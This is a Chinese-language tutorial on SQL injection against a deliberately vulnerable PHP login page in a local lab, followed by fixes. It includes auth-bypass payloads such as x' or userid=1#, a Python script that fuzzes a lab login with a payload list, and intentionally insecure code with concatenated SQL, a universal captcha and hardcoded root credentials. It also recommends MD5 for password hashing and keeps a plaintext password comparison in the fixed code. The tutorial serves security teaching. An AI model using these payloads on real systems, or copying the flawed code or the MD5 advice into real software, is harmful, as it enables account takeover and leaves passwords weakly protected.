SQL注入-登录漏洞

SQL注入-登录漏洞

一、实现原理

1.环境准备

  • 在Linux主机上准备一套Xampp:模拟攻防。
  • 在VSCode利用Remote Development进行远程调试。
  • 在Lampp的htdocs目录下创建security目录,用于编写服务器PHP代码。

2.编写login.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登录蜗牛笔记</title>
    <style>
        /* 利用CSS的样式属性为一个或一批元素设定相同的样式 */
        /* 标签选择器,针对当面页面所有相同的标签,设置相同的样式 */
        div_x {
            width: 300px;   /* 设定DIV的宽度 */
            height: 40px;   /* 设定DIV的高度 */
            border: solid 1px rgb(204, 83, 144);     /* 设定DIV的边框样式 */
            margin: auto;   /* 设定DIV水平居中 */
            /* background-color: brown; */
        }
        /* 建议使用类选择器:针对相同的类设置样式 */
        .login {
            width: 350px;
            height: 50px;
            border: solid 0px red;
            margin: auto;
            text-align: center;
        }
        .footer {
            width: 500px;
            height: 50px;
            border: solid 0px blue;
            margin: auto;
            text-align: center;     /* 让文字或图片在DIV中水平居中 */
        }
        .top-100 {
            margin-top: 100px;
        }
        .font-30 {
            font-size: 30px;
        }
        /* 为文本框或按钮设置统一样式 */
        input {
            width: 300px;
            height: 35px;
            text-align: center;
            border-radius: 5px;
        }
        button {
            width: 310px;
            height: 40px;
            background-color: dodgerblue;
            color: whitesmoke;
            border-radius: 5px;
        }
    </style>
</head>
<body style="background-image: url(./image/bg.jpg); background-size: cover;">
        <div class="login top-100 font-30">登  录</div>
        <form action="login.php" method="POST">
            <div class="login">
                <input type="text" name="username" />
            </div>
            <div class="login">
                <input type="password" name="password" />
            </div>
            <div class="login">
                <input type="text" name="vcode"/>
            </div>
            <div class="login">
                <button type="submit">登录</button>
                <!-- <input type="submit" value="登录" /> -->
            </div>
        </form>
    <div class="footer top-100">版权所有©成都蜗牛创想科技有限公司 备案:蜀ICP备15014130号</div>
</body>
</html>

3.编写login.php

<?php
// 获取用户提交的登录请求的数据
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
// 验证码的验证,此处启用了万能验证码,存在安全漏洞:OWASP-认证和授权失败
if ($vcode !== '0000') {
    die("vcode-error");
}
// 连接到数据库
$conn = mysqli_connect('127.0.0.1', 'root', '123456', 'learn') or die("数据库连接不成功.");
// 设置编码格式的两种方式
mysqli_query($conn, "set names utf8");  
mysqli_set_charset($conn, 'utf8');
// 以下代码没有进行爆破的防护,违背了OWASP-认证和授权失败
$sql = "select * from user where username='$username' and password='$password'";
$result = mysqli_query($conn, $sql);    // $result获取到的查询结果,称结果集
if (mysqli_num_rows($result) == 1) {
    echo "login-pass";
    echo "<script>location.href='welcome.php'</script>";
}
else {
    echo "login-fail";
    echo "<script>location.href='login.html'</script>";
}
// 关闭数据库
mysqli_close($conn);
?>

4.编写登录成功页面welcome.php

<?php
// 以下代码违背了OWASP-失效的访问控制
echo '欢迎登录安全测试平台';
?>

5.进行渗透测试

在登录页面输入一个单引号[']作为用户名,密码123456,验证码0000,响应如下:

<br />

<b>Warning</b>:  mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in <b>/opt/lampp/htdocs/security/login.php</b> on line <b>23</b><br />
login-fail<script>location.href='login.html'</script>

以上响应出现MySQL的报错信息,上述报错信息存在两个可能的漏洞:
1、单引号可以成功引起SQL语句报错,说明后台没有专门对单引号进行处理。
select * from user where username='$username' and password='$password'
正常情况:select * from user where username='woniu' and password='123456'
试探情况:select * from user where username=''' and password='123456'
攻击Payload:
username: x' or userid=1#'
Post正文:username=x' or userid=1#'&password=123213&vcode=0000
select * from user where username='x' or userid=1#'' and password='123456'
> 试试: x' or 1=1 limit 1#'

2、在报错信息里面暴露了敏感信息:
/opt/lampp/htdocs/security/login.php,当前代码的绝对路径

6.注入类攻击的核心点

  • 拼接为有效的语句或代码
  • 确保完成了闭合,并且可以改变原有执行逻辑

二、基础修复

1.使用python进行注入测试

import requests
# 利用Python对PHP的登录页面进行Fuzz测试
def login_fuzz():
    # 先使用单引号进行试探
    url = 'http://192.168.112.188/security/login.php'
    data = {'username':"'", 'password':'13245', 'vcode':'0000'}
    resp = requests.post(url=url, data=data)
    if 'Warning' in resp.text:
        print("本登录功能可能存在SQL注入漏洞,可以一试.")
        # 如果单引号存在利用嫌疑,则继续利用
        payload_list = ["x' or id=1#", "x' or uid=1#", "x' or userid=1#", "x' or userid=2#", "' or userid=1"]
        for username in payload_list:
            data = {'username':username, 'password':'13245', 'vcode':'0000'}
            resp = requests.post(url=url, data=data)
            if "login-fail" not in resp.text:
                print(f'登录成功,Payload为:{data}')
    else:
        print("通过试探,发现登录后台页面对单引号不敏感.")
if __name__ == '__main__':
    login_fuzz()

2.任意访问权限页面

include "common.php";
// 修复该漏洞:在显示文本之前,先进行SESSION变量的验证
if (!isset($_SESSION['islogin']) or $_SESSION['islogin'] != 'true') {
    die ("你还没有登录,无法访问本页面.</br>");
}
echo '欢迎登录安全测试平台.</br>';
  • 在login.php中,登录成功后添加以下代码:
if (mysqli_num_rows($result) == 1) {
    echo "login-pass";
    // 登录成功后,记录SESSION变量
    $_SESSION['username'] = $username;
    $_SESSION['islogin'] = 'true';
    echo "<script>location.href='welcome.php'</script>";
}

3.login.php暴露文件绝对路径

  • 当在用户名输入单引号时,会引起后台报错,一方面说明后台没有对单引号进行转义处理,导致单引号可以被注入到SQL语句中,进而导致SQL语句中存在单独的一个单引号,SQL语句无法有效闭合,发生错误。同时,还将该源代码的绝对路径暴露出来,这是敏感信息,应该将其屏蔽。修复代码如下:
$result = mysqli_query($conn, $sql) or die("SQL语句执行错误.");

4.用户表密码为明文

  • user表中password字段必须是32+位
  • 在用户注册时,必须使用md5函数将密码加密保存
// 例如使用md5函数:
$source = 'Hello123';
echo md5($source);

5.登录sql语句的逻辑问题

// 该SQL语句在实现登录操作时,存在严重的逻辑问题,用户名和密码的对比不应该放在同一条SQL语句中
// 应该先通过用户名查询user表,如果确实找到一条记录(用户名唯一的情况下),找到记录后再进行密码的单独对比
// $sql = "select * from user where username='$username' and password='$password'";
// 修复后的代码如下:
$sql = "select * from user where username='$username'";
$result = mysqli_query($conn, $sql) or die("SQL语句执行错误.");    // $result获取到的查询结果,称结果集
// 如果用户名真实存在,刚好找到一条,则再单独进行密码的比较,即使用户名出现SQL注入漏洞,但是只要密码不正确,也无法登录
if (mysqli_num_rows($result) == 1) {
    $row = mysqli_fetch_assoc($result);
    if ($password == $row['password']) {
        echo "login-pass";
        // 登录成功后,记录SESSION变量
        $_SESSION['username'] = $username;
        $_SESSION['islogin'] = 'true';
        echo "<script>location.href='welcome.php'</script>";
    }
    else {
        // echo "password-error";  // 不建议直接明确告知用户,是用户名还是密码错误,否则对于爆破来说,更加容易
        echo "login-fail";
        echo "<script>location.href='login.html'</script>";
    }
}
else {
    echo "login-fail";
    echo "<script>location.href='login.html'</script>";
}

6.使用addslashes函数

  • addslashes函数可以将字符串中的单引号、双引号、反斜杠、NULL值自动添加转义符,从而防止SQL注入中对单引号和双引号的预防。
// 原始SQL语句如下:
$sql = "select * from user where username='$username' and password='$password'";

// 如果用户输入 x' or userid=1#' ,则SQL语句变成:
$sql = "select * from user where username='x' or userid=1#'' and password='$password'";

// 如果使用addslashes强制为用户输入添加转义符,则变成:
$sql = "select * from user where username='x\' or userid=1#\'' and password='$password'";
// 上述SQL语句的用户名为:x\' or userid=1#\',密码为$password,逻辑上保持不变

$sql = "select * from user where username='\' and password='$password'";

也可以使用mysql_real_escape_string函数进行相同的处理

7.使用mysqli预处理功能

  • 预处理的过程,就是先交给MySQL数据库进行SQL语句的准备,准备好后再将SQL语句中的参数进行值的替换,引号会进行转义处理,将所有参数变成普通字符串,再进行第二次正式的SQL语句执行。
// 基于面向对象和MySQLi预处理功能实现SQL注入的防护
$conn = create_connection_oop();
$sql = "select userid, username, password, role from user where username=?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $username);  // 绑定查询参数
$stmt->bind_result($userid, $username2, $password2, $role);     // 绑定结果参数
$stmt->execute();
$stmt->store_result();
if ($stmt->num_rows == 1) {
    $stmt->fetch();
    if ($password == $password2) {
        echo "login-pass";
        // 登录成功后,记录SESSION变量
        $_SESSION['username'] = $username;
        $_SESSION['islogin'] = 'true';
        echo "<script>location.href='welcome.php'</script>";
    }
    else {
        echo "login-fail";
        echo "<script>location.href='login.html'</script>";
    }
}
else {
    echo "login-fail";
    echo "<script>location.href='login.html'</script>";
}
上一篇
下一篇